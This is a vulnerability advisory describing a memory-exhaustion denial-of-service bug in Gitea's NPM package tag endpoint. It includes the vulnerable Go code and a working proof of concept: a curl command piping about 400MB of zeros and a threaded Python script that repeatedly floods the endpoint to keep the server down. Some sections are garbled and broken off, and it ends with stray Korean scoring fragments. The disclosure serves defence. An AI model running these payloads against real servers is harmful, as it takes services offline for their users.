Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint
An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.
The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
version := strings.Trim(string(body), "\"")
// ...
}
This route is registered at routers/api/packages/api.go:433:
r.Group("/-/package/{id}/dist-tags", func() {
// ...
r.Group("/{tag}", func() {
r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
r.Delete("", npm.DeletePackageTag)
})
})
Why this causes OOM and not just a slow request:
In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.
No server-side size limits apply to this endpoint:
Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
const noLimit = "-1"
value := section.Key(key).MustString(noLimit) // defaults to "-1"
if value == noLimit {
return -1
}
Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().
The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk
// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit
Access requirements:
reqPackageAccess(perm.AccessModeWrite)services/context/package.go:155-157):
if doer.ID == pkgOwner.ID {
accessMode = perm.AccessModeOwner
}
body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here
// ...
pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached
Tested Environment:
Prerequisites: Set up test environment
# docker-compose.yml
version: "3"
services:
gitea:
image: gitea/gitea:latest
container_name: gitea-dos-test
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__service__DISABLE_REGISTRATION=false
ports:
- "3000:3000"
deploy:
resources:
limits:
memory: 512M
docker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)
Step 1: Single request OOM crash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
-X PUT \
-H "Content-Type: application/json" \
--data-binary @- \
"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
--max-time 120
Step 2: Verify server crash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)
Step 3: Persistent DoS via concurrent requests (survives restart policies)
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools
payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)
def worker():
s = requests.Session()
while True:
n = next(i)
try:
s.put(
f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
data=payload,
auth=("user1", "A@12345678"),
timeout=120
)
except Exception:
pass
for _ in range(20):
threading.Thread(target=worker, daemon=True).start()
__import__('signal').pause()
https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6
https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7
Observed result on Gitea 1.26.2:
Received signal 15; terminating.Exited (0)restart: always, server restarts but can be immediately re-killedWho is impacted:
Attack characteristics:
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 65.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 65.00 |
VPI 공식 vpi-v1 기준